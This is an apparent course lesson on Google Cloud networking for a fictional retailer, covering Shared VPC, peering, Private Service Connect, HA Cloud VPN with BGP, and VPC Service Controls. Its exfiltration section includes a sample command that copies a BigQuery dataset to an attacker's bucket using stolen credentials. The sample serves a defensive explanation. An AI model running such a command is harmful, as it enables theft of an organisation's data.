AlpinaShop's network was designed in 03-01 for a situation that no longer exists. There was one project that mattered, one application to serve and one VPC with two subnets. It worked perfectly for four modules.
Today the picture is different. There are four projects — alpinashop-prod, alpinashop-dev, alpinashop-datos and alpinashop-cicd — each with its own VPC, knowing nothing about the others. Lucía needs her BigQuery queries to reach the alpinashop-pedidos-replica-informes replica, which lives in another project. The Cloud Run service deployed in 07-02 ought to talk to Cloud SQL over a private IP instead of through the connector. The payment gateway requires requests to arrive from a fixed IP. And DA-004 committed to a tunnel to the MySQL ERP in the Sabadell shop that does not exist yet.
There is also a risk nobody has looked at: if tomorrow the credentials of sa-informes-nocturnos are leaked, that account can read the whole alpinashop_analitica dataset and copy it to a bucket in any other Google Cloud project in the world. IAM authorises the read; nothing prevents the exit.
This lesson resolves all five things. By the end you will know when one VPC in one project stops being enough, you will design AlpinaShop's Shared VPC, you will distinguish peering from a shared network with judgement, you will connect the Sabadell shop with HA Cloud VPN step by step while properly understanding BGP, you will publish and consume services over private IPs with Private Service Connect, you will raise a VPC Service Controls perimeter around the data, and you will know how to diagnose a network failure with tools rather than intuition.
And you will know where the part of the bill nobody looks at is hiding: traffic.
Contents
- When one VPC in one project stops being enough
- The addressing design for the whole organization
- Shared VPC: host project and service projects
- Implementing AlpinaShop's Shared VPC
- VPC peering: how it works and what it does not do
- Decision table: Shared VPC, peering or interconnect
- Private Service Connect: services over private IPs
- Hybrid connectivity: the three options for reaching Sabadell
- HA Cloud VPN step by step
- Cloud Router, BGP and dynamic routing properly explained
- Route advertisement and the mistakes that break connectivity
- Network Connectivity Center: managed hub-and-spoke topology
- VPC Service Controls: the perimeter against exfiltration
- Network diagnostics: Network Intelligence Center and a real failure
- Premium and Standard network service tiers
- The cost of traffic: where the bill hides
- When one VPC in one project stops being enough
One VPC in a single project is the right answer for longer than people think. These are the concrete signs that it has been outgrown:
| Sign | What causes it | What resolves it |
|---|---|---|
| Several projects that need to talk over private IPs | Separation by environment or by team | Shared VPC or peering |
| The same network design replicated by hand in three projects | Copying and pasting subnets and rules | Shared VPC |
| Nobody knows what firewall rules there are in total | Firewall spread across projects | Shared VPC |
| You need to reach a system outside Google Cloud | An ERP, a mainframe, an office | VPN or Interconnect |
| You need to consume a third party's service without going out to the internet | SaaS, partners | Private Service Connect |
| You are worried somebody could copy the data out | Leaked credentials, human error | VPC Service Controls |
| The IP ranges are starting to clash | Nobody was keeping a record | An addressing plan |
AlpinaShop ticks six of the seven. The time has come.
But before touching anything, you have to do what almost nobody does and that avoids 80 % of future problems.
- The addressing design for the whole organization
An addressing plan is a spreadsheet stating which range each thing uses. It sounds trivial. It is what separates a network that grows from a network that has to be rebuilt.
The rule that governs everything:
Two ranges that could ever end up connected cannot overlap. Ever. Under any circumstances.
And it is stricter than it sounds, because "ever" includes: a company merger, a supplier connecting over VPN, a secondary cloud, a new office, a partner whose networks get peered with yours. When two ranges overlap, there is no configuration that fixes it: you have to renumber one of the two networks, with a service outage.
AlpinaShop's plan, designed with headroom for ten years:
| Block | Range | Use | Status |
|---|---|---|---|
10.10.0.0/16 |
65,536 IPs | Google Cloud, europe-west1 |
In use |
10.10.0.0/24 |
256 | sn-web-euw1 — web workloads |
In use |
10.10.1.0/24 |
256 | sn-datos-euw1 — databases |
In use |
10.10.2.0/24 |
256 | sn-dev-euw1 — development |
New |
10.10.3.0/24 |
256 | sn-datos-analitica-euw1 |
New |
10.10.8.0/22 |
1,024 | Secondary range for GKE pods | Reserved |
10.10.12.0/24 |
256 | Secondary range for GKE services | Reserved |
10.10.16.0/24 |
256 | Proxy-only subnet (internal load balancers) | Reserved |
10.10.20.0/24 |
256 | Cloud Run — Direct VPC | New |
10.10.240.0/20 |
4,096 | Private services access (Cloud SQL, Memorystore) | In use |
10.20.0.0/16 |
65,536 | Google Cloud, europe-southwest1 (Madrid) |
Reserved, unused |
192.168.10.0/24 |
256 | Sabadell shop — local network | Existing |
192.168.20.0/24 |
256 | Head office | Existing |
172.16.0.0/12 |
— | Forbidden: Docker uses it by default | Blocked |
Four decisions that deserve an explanation:
- Reserving
10.20.0.0/16for a second region even though it is unused. It costs nothing. The day 07-06 requires multi-region, the range is free and there is nobody to negotiate with. - The GKE secondary ranges are reserved even though the cluster is being retired. Pod ranges are enormous and having them devoured unexpectedly is a classic.
10.10.240.0/20for private services access. When you create a Cloud SQL instance with a private IP, Google needs a range inside your VPC that it "takes" from you for its own use. If you do not plan it, it assigns you one and then it clashes with something.- Explicitly forbidding
172.16.0.0/12. It is the range Docker uses by default for its bridge networks. Any container using that range internally will not be able to reach a VPC IP in that same range. It is a guaranteed wasted afternoon.
Tip: this plan lives in the
alpinashop-infrarepository as a file calledDIRECCIONAMIENTO.mdand it is reviewed in the same pull request that creates the subnet. A plan that sits in somebody's spreadsheet is not a plan.
- Shared VPC: host project and service projects
Shared VPC (formerly XPN, an acronym that survives in some commands and roles) allows a VPC defined in one project to be used by resources in other projects.
flowchart TB
subgraph HOST["HOST project: alpinashop-red (folder compartido)"]
VPC["alpinashop-vpc"]
S1["sn-web-euw1<br/>10.10.0.0/24"]
S2["sn-datos-euw1<br/>10.10.1.0/24"]
S3["sn-dev-euw1<br/>10.10.2.0/24"]
FW["fw-* rules"]
RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
VPC --- S1 & S2 & S3 & FW & RT
end
subgraph SVC["Service projects"]
P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
P2["alpinashop-dev<br/>test VM"]
P3["alpinashop-datos<br/>BigQuery, Dataflow"]
end
S1 -.->|"used by"| P1
S3 -.->|"used by"| P2
S2 -.->|"used by"| P3
style HOST fill:#e8f0fe,stroke:#4285f4
The central idea, and it is elegant:
The network lives in one place. The resources live in another. Billing and permissions follow the resources.
A VM in alpinashop-prod with an IP from sn-web-euw1 is billed to alpinashop-prod, is administered by alpinashop-prod's permissions, and its traffic obeys the firewall rules that live in alpinashop-red. It can talk to a VM in alpinashop-dev over a private IP because they are on the same VPC, even though they are different projects.
Who administers what
This division of labour is the whole point of Shared VPC and the part you have to understand:
| Task | Who | Role |
|---|---|---|
| Create the VPC and the subnets | Network team (Marta) in the host project | roles/compute.networkAdmin on the host |
| Create and modify firewall rules | Network team on the host | roles/compute.securityAdmin on the host |
| Configure Cloud Router, NAT, VPN | Network team on the host | roles/compute.networkAdmin |
| Attach a service project | Shared VPC administrator | roles/compute.xpnAdmin at organization or folder level |
| Create a VM in a subnet | Development team in their own project | roles/compute.networkUser on the specific subnet |
| Deploy Cloud Run with Direct VPC | Development team | roles/compute.networkUser on the subnet |
The two roles to memorise:
compute.xpnAdmin: who can attach and detach service projects. It is an organization or folder role, not a project one. Very powerful: it goes to one or two people.compute.networkUser: who can use a network or subnet. It can be granted on the whole network (bad idea) or on a specific subnet (the correct approach).
That granularity is the jewel of the model:
Dani can deploy in
sn-dev-euw1becausegcp-desarrollo@hasnetworkUseron that subnet. He cannot deploy insn-datos-euw1, because he does not have it. He cannot even see that subnet. And he cannot touch a single firewall rule.
It is separation of duties (03-04) applied to the network, and it is inherited automatically for every new project if it is managed with Terraform.
What you gain and what you pay
| Advantage | Detail |
|---|---|
| One network to understand | One map, one addressing plan, one list of rules |
| Centralised firewall | All the rules in one place, auditable at a glance |
| No internal peerings or tunnels | The projects talk to one another because they are on the same network |
| One Cloud NAT, one Cloud Router, one VPN | Configured once and serving everybody |
| Real separation of duties | Centralised network, distributed compute |
| Fewer wasted IPs | A single addressing plan |
| Drawback | Detail |
|---|---|
| Organizational bottlenecks | Every new subnet goes through the network team |
| Bigger blast radius | A mistake in a host firewall rule affects everybody |
| Shared quotas | Network quotas belong to the host project |
| Permissions learning curve | You have to understand the two roles and where they apply |
| It does not cross organizations | Host and service must be in the same organization |
For AlpinaShop, with one network person and three projects, centralisation is exactly what it wants: Marta governs the network, Dani and Lucía consume subnets without being able to break one another.
- Implementing AlpinaShop's Shared VPC
It is done in Terraform, like everything since 06-07. But first the equivalent command, to understand what is happening.
Step 1: create the host project
The most important design decision: the network goes into its own project, alpinashop-red, in the compartido folder. Not into alpinashop-prod.
Why? Because if the network lives in production, anybody needing to touch a development subnet needs permissions in the production project. The host project ends up almost empty — network only — and that is a virtue: its permissions list is short and auditable.
gcloud projects create alpinashop-red \
--folder=FOLDER_ID_COMPARTIDO \
--name="AlpinaShop Red"
gcloud beta billing projects link alpinashop-red \
--billing-account=BILLING_ACCOUNT_ID
gcloud services enable compute.googleapis.com --project=alpinashop-redStep 2: enable the host and attach the service projects
# Turn alpinashop-red into a host project
gcloud compute shared-vpc enable alpinashop-red
# Attach the three service projects
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done
# Verify
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-redNote that alpinashop-cicd is not attached: Cloud Build does not need a private IP on the VPC to build images, and every attachment is surface area that is not needed.
Step 3: the subnets with granular permissions, in Terraform
# host project: alpinashop-red
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false # ALWAYS false: full control of the addressing
routing_mode = "GLOBAL" # routes learned over BGP propagate to every region
}
resource "google_compute_subnetwork" "web" {
project = "alpinashop-red"
name = "sn-web-euw1"
ip_cidr_range = "10.10.0.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true # reach Google APIs without a public IP (03-01)
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5 # 50% sampling: cost/visibility balance
metadata = "INCLUDE_ALL_METADATA"
}
}
resource "google_compute_subnetwork" "datos" {
project = "alpinashop-red"
name = "sn-datos-euw1"
ip_cidr_range = "10.10.1.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
resource "google_compute_subnetwork" "dev" {
project = "alpinashop-red"
name = "sn-dev-euw1"
ip_cidr_range = "10.10.2.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
# --- Granular per-subnet permissions ---
# The development team can ONLY use the development subnet
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.dev.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# The Cloud Run service account needs the web subnet for Direct VPC
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.web.name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}
# The data team ONLY the data subnet
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.datos.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}Two details with consequences:
routing_mode = "GLOBAL". With regional routing, the routes the Cloud Router learns over BGP ineurope-west1are advertised only to that region. If tomorrow there are resources ineurope-southwest1, they will not reach Sabadell. Changing it later forces the BGP sessions to be restarted. Set it to global from the start.- The
serverless-robot-prodaccount is Cloud Run's service agent. When a serverless service uses Direct VPC on a Shared VPC, it is that account, not yours, that needsnetworkUser. It is a permission nobody guesses and it produces a cryptic error on deployment.
Step 4: moving what already existed
Here comes the uncomfortable truth:
A VM cannot be moved from one VPC to another. It has to be recreated on the new network.
AlpinaShop's migration is, luckily, straightforward thanks to what has already been done:
| Resource | How it moves | Interruption |
|---|---|---|
Cloud Run alpinashop-web |
Update --network and --subnet. It creates a new revision |
None: traffic split |
Cloud SQL alpinashop-pedidos |
Requires reconfiguring private services access | Planned window |
alpinashop-cluster (GKE) |
Cannot be migrated: the cluster has to be recreated | It no longer has production on it (07-02) |
| Load balancer and Cloud Armor | They are global, they do not depend on the VPC | None |
| Cloud NAT and router | They are recreated on the host | None if done beforehand |
That the migration to Shared VPC is easy is a direct dividend of having moved the catalogue to Cloud Run. With the MIG, the VMs would have to be recreated.
- VPC peering: how it works and what it does not do
VPC peering connects two VPCs so that their resources talk over private IPs, without sharing administration.
# Side A
gcloud compute networks peerings create vpc-a-hacia-b \
--network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b
# Side B: THIS MUST BE DONE TOO. The peering does not exist until both sides create it
gcloud compute networks peerings create vpc-b-hacia-a \
--network=vpc-b --peer-project=proyecto-a --peer-network=vpc-aCharacteristics:
- Traffic over Google's internal network: low latency, high bandwidth.
- No cost for the peering itself (traffic between zones or regions is charged).
- It works between different organizations, unlike Shared VPC.
- Each side keeps its own firewall and its own administration.
And here are the three limitations that define when it is useful and when it is not.
Limitation 1: it is not transitive
It is the most important limitation and the one most people discover too late.
flowchart LR
A["VPC A<br/>10.1.0.0/16"] <-->|"peering"| B["VPC B<br/>10.2.0.0/16"]
B <-->|"peering"| C["VPC C<br/>10.3.0.0/16"]
A -.->|"NO CONNECTIVITY"| C
style A fill:#e8f0fe
style C fill:#fce8e6
If A peers with B, and B with C, A cannot talk to C. Not by adding routes, not with a proxy in B (that is no longer peering). For N networks that all have to talk to one another you need N×(N−1)/2 peerings: 3 networks means 3, 5 networks means 10, 10 networks means 45. It stops being manageable fast — and that is exactly the problem Network Connectivity Center solves (section 12).
The most common practical consequence: a peered VPC cannot reach your VPN to the offices through you. It is a case that comes up constantly and surprises people every time.
Limitation 2: ranges cannot overlap
If A uses 10.1.0.0/16 and C does too, they can never be peered. And there is no NAT to save you in a peering. It is the reason for section 2.
Limitation 3: aggregated quotas
Routes, forwarding rules and internal addresses add up across peered networks for quota purposes. In large networks this becomes a real limit.
Fine control: what gets advertised
By default only the subnet routes are exchanged. This can be tuned:
gcloud compute networks peerings update vpc-a-hacia-b \
--network=vpc-a \
--export-custom-routes \ # export static routes and routes learned over BGP
--import-custom-routes # import those from the other side--export-custom-routes is what lets the other VPC reach, for example, the Sabadell network through your VPN. It is disabled by default and it is the number one cause of "the peering is established but I cannot get through".
- Decision table: Shared VPC, peering or interconnect
| Criterion | Shared VPC | VPC peering | Network Connectivity Center |
|---|---|---|---|
| Network administration | Centralised | Independent on each side | Centralised (hub-and-spoke) |
| Same organization? | Mandatory | Not required | Usually yes |
| Transitivity | Total (it is a single network) | No | Yes, via the hub |
| Overlapping ranges | Impossible by design | Forbidden | Forbidden |
| Firewall rules | One set, on the host | One set per VPC | Per spoke |
| Scale | Hundreds of service projects | Degrades with N² | Hundreds of spokes |
| Cost | No additional cost | No additional cost | Per spoke per hour |
| Typical case | One company, several teams | Two companies, a partner, a SaaS | Many networks and sites |
| AlpinaShop | Yes, this is the choice | Only if a partner appears | Not needed |
The decision rule:
Are the projects mine and do I want one network to govern? → Shared VPC. Is the other network somebody else's, or do I need separate administration? → Peering. Do I have more than five networks and sites that all have to talk? → Network Connectivity Center.
- Private Service Connect: services over private IPs
Private Service Connect (PSC) solves a different problem: consuming a service over a private IP from your own VPC, without peering networks and without exposing anything to the internet.
It has three uses, and they are worth distinguishing:
Use 1: reaching Google APIs over an IP of your own
In 03-01 Private Google Access was enabled, which allows a VM without a public IP to reach storage.googleapis.com using the 199.36.153.8/30 range. It works, but the destination is still a Google IP.
With PSC you create an endpoint with an IP from your own range:
# Reserve an internal IP for the endpoint
gcloud compute addresses create psc-apis-google \
--global --purpose=PRIVATE_SERVICE_CONNECT \
--addresses=10.10.250.10 \
--network=alpinashop-vpc \
--project=alpinashop-red
# Create the endpoint to all Google APIs
gcloud compute forwarding-rules create psc-apis-google \
--global \
--network=alpinashop-vpc \
--address=psc-apis-google \
--target-google-apis-bundle=all-apis \
--project=alpinashop-redFrom then on, 10.10.250.10 is the access point to Google's APIs. With a private DNS record (*.googleapis.com → 10.10.250.10) all traffic to the APIs goes through it.
What do you gain over Private Google Access? Three concrete things:
- It works from outside the VPC: from Sabadell, through the VPN tunnel, a machine can reach
10.10.250.10and use Cloud Storage. With Private Google Access, it cannot. This is the main reason. - An IP of your own that you can control with the firewall and see in the Flow Logs.
- It is a common requirement when there are VPC Service Controls, with the
vpc-scbundle instead ofall-apis.
Use 2: consuming a service published by a third party
A SaaS — a data platform, a payments provider — publishes its service as PSC. You create an endpoint in your VPC with an IP of your own, and you consume the service without going out to the internet, without a VPN and without peering networks:
gcloud compute forwarding-rules create psc-proveedor-pagos \
--region=europe-west1 \
--network=alpinashop-vpc \
--address=10.10.250.20 \
--target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagosThe decisive advantage over peering: no ranges or routes are shared. The provider does not see your network and you do not see theirs. Only the specific service is exposed. That is why PSC has replaced peering as the standard way of connecting to providers.
Use 3: publishing your own service
Symmetrically, AlpinaShop could publish its partner API behind an internal load balancer and expose it as a service attachment so partner shops can consume it from their own VPCs.
flowchart LR
subgraph CONS["Consumer VPC"]
EP["PSC endpoint<br/>10.50.0.5"]
end
subgraph PROD["AlpinaShop VPC"]
SA["Service attachment"] --> ILB["Internal load balancer"] --> API["Partner API"]
end
EP -->|"Google network, private IP"| SA
Comparison of the private access mechanisms
| Mechanism | What for | Destination IP |
|---|---|---|
| Private Google Access | VM without a public IP → Google APIs | Google's (199.36.153.8/30) |
| Private Service Connect | Anybody → Google APIs or third-party services | Yours |
| Private services access | Cloud SQL, Memorystore with a private IP | From the range you ceded (10.10.240.0/20) |
| Peering | Full VPC ↔ VPC | The other side's |
- Hybrid connectivity: the three options for reaching Sabadell
DA-004 committed to a private link with the shop. There are three ways.
| HA Cloud VPN | Partner Interconnect | Dedicated Interconnect | |
|---|---|---|---|
| Medium | The internet, IPsec encrypted | Service provider | Your own physical fibre |
| Bandwidth | Up to 3 Gbps per tunnel (typically 1.5-3) | 50 Mbps – 50 Gbps | 10 or 100 Gbps per link |
| Latency | The internet's + encryption | Low and stable | The lowest and most stable |
| SLA | 99.99 % with an HA configuration | 99.9 % or 99.99 % depending on topology | 99.9 % or 99.99 % depending on topology |
| Time to set up | Minutes | Days or weeks | Weeks or months |
| Monthly cost | Of the order of tens of € per tunnel | Hundreds to thousands of € | Thousands of € + installation |
| Encryption | IPsec, included | Not by default (MACsec or a VPN is added on top) | Not by default |
| Requires a physical presence | No | At the provider | At a Google interconnect point |
| When | Up to ~3 Gbps, fast start | Medium bandwidth, no physical presence | High volume, critical latency |
For AlpinaShop the decision is not up for debate. The expected traffic is a few stock tables every 10 minutes and a few hundred orders a day: kilobytes, not gigabytes. Buying an Interconnect for that would be like hiring an articulated lorry to bring the shopping home. HA Cloud VPN, in minutes and for tens of euros a month.
A note on when that would change: if a large database had to be continuously replicated, if the volume sustainably exceeded 1-2 Gbps, or if internet latency were unacceptable for an interactive process. None applies.
- HA Cloud VPN step by step
HA Cloud VPN (high availability) is the version with a 99.99 % SLA. The difference from classic VPN:
| Classic VPN (obsolete) | HA Cloud VPN | |
|---|---|---|
| Gateway interfaces | 1 | 2, with different public IPs |
| Minimum tunnels | 1 | 2 |
| Routing | Static or dynamic | Dynamic with mandatory BGP |
| SLA | 99.9 % | 99.99 % with two tunnels to two devices |
To achieve 99.99 % you need two tunnels from the two interfaces of Google's gateway to two devices (or at least two IPs) on the other side. With a single device in Sabadell you get 99.9 %, which for a shop is more than enough.
flowchart LR
subgraph GCP["Google Cloud - alpinashop-red"]
GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
CR["alpinashop-router-euw1<br/>ASN 65001"]
VPC["alpinashop-vpc<br/>10.10.0.0/16"]
GW --- CR --- VPC
end
subgraph SAB["Sabadell shop"]
FW["Router/firewall<br/>public IP 88.x.x.x<br/>ASN 65010"]
LAN["LAN 192.168.10.0/24"]
ERP["ERP MySQL<br/>192.168.10.20"]
FW --- LAN --- ERP
end
GW <-->|"tunnel 0 - IPsec"| FW
GW <-->|"tunnel 1 - IPsec"| FW
Step 1: the HA VPN gateway
gcloud compute vpn-gateways create alpinashop-vpn-gw \
--network=alpinashop-vpc \
--region=europe-west1 \
--project=alpinashop-red
gcloud compute vpn-gateways describe alpinashop-vpn-gw \
--region=europe-west1 --format="get(vpnInterfaces)"Google assigns two public IPs, one per interface. Write them down: they are the ones to configure on the Sabadell router.
Step 2: the gateway on the other side
Google needs to know what the remote device looks like:
gcloud compute external-vpn-gateways create gw-sabadell \
--interfaces=0=88.20.145.7 \
--project=alpinashop-red--interfaces=0=IP declares one device. If there were two routers in Sabadell, it would be 0=IP_A,1=IP_B and you would reach 99.99 %.
Step 3: the Cloud Router
gcloud compute routers create alpinashop-router-euw1 \
--network=alpinashop-vpc \
--region=europe-west1 \
--asn=65001 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--project=alpinashop-red--asn=65001: Google's autonomous system number in this BGP session. The private range 64512-65534 is used.--advertisement-mode=custom: explicit control over what is advertised. Withdefaultall subnets are advertised automatically;customforces you to decide, which is the right thing (section 11).
If the router already exists because of the Cloud NAT from 03-01, it is reused: one Cloud Router serves both NAT and VPN.
Step 4: the two tunnels
SECRETO=$(openssl rand -base64 32) # and stored in Secret Manager, not in the shell history
for I in 0 1; do
gcloud compute vpn-tunnels create tunel-sabadell-$I \
--peer-external-gateway=gw-sabadell \
--peer-external-gateway-interface=0 \
--region=europe-west1 \
--ike-version=2 \
--shared-secret="$SECRETO" \
--router=alpinashop-router-euw1 \
--vpn-gateway=alpinashop-vpn-gw \
--interface=$I \
--project=alpinashop-red
done--interface=$I: each tunnel leaves through a different gateway interface. This is where the redundancy is.--ike-version=2: IKEv2 always. IKEv1 only if the remote equipment is old.--shared-secret: the pre-shared key. It must match the one on the Sabadell router exactly and it goes into Secret Manager (03-06), never into a Terraform file.
Step 5: the BGP sessions
Each tunnel needs its own BGP session, with link IPs in a /30 from the link-local range 169.254.0.0/16:
for I in 0 1; do
gcloud compute routers add-interface alpinashop-router-euw1 \
--interface-name=if-tunel-$I \
--vpn-tunnel=tunel-sabadell-$I \
--ip-address=169.254.10.$((1 + I*4)) \
--mask-length=30 \
--region=europe-west1 --project=alpinashop-red
gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-$I \
--interface=if-tunel-$I \
--peer-ip-address=169.254.10.$((2 + I*4)) \
--peer-asn=65010 \
--advertised-route-priority=$((100 + I*100)) \
--region=europe-west1 --project=alpinashop-red
doneResulting addressing:
| Tunnel | Google IP | Sabadell IP | Priority |
|---|---|---|---|
| 0 | 169.254.10.1/30 | 169.254.10.2 | 100 (preferred) |
| 1 | 169.254.10.5/30 | 169.254.10.6 | 200 (backup) |
A lower --advertised-route-priority wins. With these priorities, tunnel 0 is the active one and tunnel 1 the backup; if 0 goes down, BGP converges on 1 within seconds. For active-active you would set the same priority on both and traffic would be spread by ECMP.
Step 6: firewall and verification
gcloud compute firewall-rules create fw-permitir-desde-sabadell \
--network=alpinashop-vpc \
--direction=INGRESS \
--action=allow \
--rules=tcp:3306,icmp \
--source-ranges=192.168.10.0/24 \
--target-tags=acceso-erp \
--project=alpinashop-red
# Tunnel status: you are looking for "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"
# BGP status: you are looking for "UP" and the learned routes
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"Good output looks like this:
result:
bgpPeerStatus:
- name: bgp-sabadell-0
state: Established
status: UP
numLearnedRoutes: 1
advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
learnedRoutes:
- destIpRange: 192.168.10.0/24numLearnedRoutes: 1 and 192.168.10.0/24 in learnedRoutes is the proof that it works. If the tunnel is ESTABLISHED but numLearnedRoutes: 0, the problem is not the VPN: it is that the other side is not advertising anything over BGP.
- Cloud Router, BGP and dynamic routing properly explained
It is worth understanding what is going on, because almost all hybrid connectivity failures are routing failures rather than tunnel failures.
BGP (Border Gateway Protocol) is the protocol two networks use to tell each other which destinations they know how to reach. Each network has an identifier, the ASN, and advertises its prefixes.
| Concept | What it is | At AlpinaShop |
|---|---|---|
| ASN | Identifier of the network | Google: 65001. Sabadell: 65010 |
| BGP session | A TCP:179 conversation between two routers | One per tunnel |
| Advertised route | "I know how to reach X" | Google advertises 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24 |
| Learned route | What the other side advertises | Google learns 192.168.10.0/24 |
| Priority / MED | Preference between paths | 100 vs 200 |
The difference from static routing is what justifies the whole apparatus:
| Static | Dynamic (BGP) | |
|---|---|---|
| New routes | Added by hand on both sides | They advertise themselves |
| A tunnel going down | Traffic keeps going to the dead tunnel | Converges on the other in seconds |
| A new subnet in GCP | Edit the remote router | It advertises itself |
| Scale | Becomes unmanageable | Fine |
The case that makes it obvious: when Marta creates sn-run-euw1 (10.10.20.0/24) for Cloud Run's Direct VPC, the Cloud Router will advertise it automatically to Sabadell and the ERP will be able to answer it without anybody touching the shop's router. With static routes, you would have to call the shop's provider every time.
And the detail that gets forgotten: the global routing from section 4. With routing_mode = REGIONAL, a Cloud Router in europe-west1 only advertises subnets in europe-west1. With GLOBAL, it advertises them all.
- Route advertisement and the mistakes that break connectivity
With --advertisement-mode=custom you decide exactly what is advertised. Common cases:
# Advertise the subnets PLUS a range that is not a subnet
# (for example the private services access range where Cloud SQL lives)
gcloud compute routers update alpinashop-router-euw1 \
--region=europe-west1 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
--project=alpinashop-redWithout that line, Sabadell cannot reach Cloud SQL over a private IP even though the tunnel works perfectly, because 10.10.240.0/20 is not a subnet of the VPC: it is a range ceded to Google. It is one of the most baffling failures there is, because everything looks fine.
You can also advertise only from one specific BGP session, which is useful for egress policies:
gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-0 \
--advertisement-mode=custom \
--set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
--region=europe-west1 --project=alpinashop-redThe five classic routing mistakes
| Mistake | Symptom | Fix |
|---|---|---|
| Overlapping ranges | Traffic "disappears" or goes to the wrong place | Renumber. There is no shortcut |
| Not advertising the private services range | Tunnel up, but Cloud SQL is unreachable | --set-advertisement-ranges |
routing_mode = REGIONAL with multi-region resources |
One region gets through and the other does not | Change to GLOBAL |
| Expecting transitivity from peering | The peered VPC does not reach the VPN | It is impossible by design; use NCC or Shared VPC |
| Forgotten firewall | BGP up, ping with no reply |
An ingress rule for the remote range |
- Network Connectivity Center: managed hub-and-spoke topology
When there are many networks and many sites, peering's N² problem becomes unbearable. Network Connectivity Center (NCC) resolves that with a hub-and-spoke model:
- A central hub, which is a logical resource.
- Spokes: VPCs, VPN tunnels, Interconnect attachments, or third-party virtual appliances.
- The hub routes between spokes, which gives the transitivity peering does not have.
flowchart TB
HUB(("NCC hub"))
S1["Production VPC"] --- HUB
S2["Data VPC"] --- HUB
S3["Sabadell VPN"] --- HUB
S4["Head office VPN"] --- HUB
S5["Partner Interconnect"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red
gcloud network-connectivity spokes linked-vpc-network create radio-prod \
--hub=alpinashop-hub --vpc-network=alpinashop-vpc \
--global --project=alpinashop-redDoes AlpinaShop need it? No. With a Shared VPC and one link to Sabadell, the hub adds nothing and it costs per spoke per hour. It is explained because it is the right answer when the network grows — five or more networks and sites that have to talk to one another — and because knowing it exists stops you building fifteen peerings by hand.
- VPC Service Controls: the perimeter against exfiltration
This section answers the risk raised at the start of the lesson, and it is probably the most important thing here.
The problem IAM does not solve. IAM controls who can do what. It does not control from where or to where. If sa-informes-nocturnos has permission to read alpinashop_analitica, and somebody steals its credentials:
# With the stolen credential, from any machine on the internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
gs://bucket-del-atacante/exfiltrado-*.csvIAM authorises this operation. The permission exists, the request is legitimate from an authorisation point of view. And the data walks out.
VPC Service Controls create a perimeter around projects and services. Inside the perimeter you can work; data does not cross the boundary, not even with valid credentials.
flowchart TB
subgraph PER["Perimeter: alpinashop-datos"]
BQ["BigQuery<br/>alpinashop_analitica"]
GCS["Buckets<br/>alpinashop-datalake"]
end
OK["Dataflow from<br/>10.10.1.0/24"] -->|"ALLOWED"| PER
LU["Lucia from a corporate<br/>IP + access level"] -->|"ALLOWED"| PER
MAL["Stolen credential<br/>from the internet"] -.->|"BLOCKED"| PER
PER -.->|"BLOCKED:<br/>copy to an external bucket"| EXT["Foreign project"]
style PER fill:#e6f4ea,stroke:#34a853
style MAL fill:#fce8e6,stroke:#ea4335
style EXT fill:#fce8e6,stroke:#ea4335
AlpinaShop's perimeter
# 1. Access level: where you CAN come in from
gcloud access-context-manager levels create acceso_corporativo \
--title="Acceso corporativo AlpinaShop" \
--basic-level-spec=nivel.yaml \
--policy=POLICY_ID# nivel.yaml
- ipSubnetworks:
- 88.20.145.0/24 # head office
- 192.168.10.0/24 # Sabadell shop, through the tunnel
- members:
- serviceAccount:[email protected]# 2. The perimeter, IN DRY RUN MODE FIRST
gcloud access-context-manager perimeters create perimetro_datos \
--title="Perimetro de datos AlpinaShop" \
--resources=projects/NUMERO_PROYECTO_DATOS \
--restricted-services=bigquery.googleapis.com,storage.googleapis.com \
--access-levels=acceso_corporativo \
--perimeter-type=regular \
--policy=POLICY_ID \
--dry-run # <<< ESSENTIALWith --dry-run, the perimeter records what it would block without blocking anything. You leave it for a week or two and analyse the violations:
-- Violations that would occur, from the audit logs
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS identity,
protopayload_auditlog.methodName AS method,
protopayload_auditlog.metadata.dryRun AS in_dry_run,
protopayload_auditlog.metadata.violationReason AS reason
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
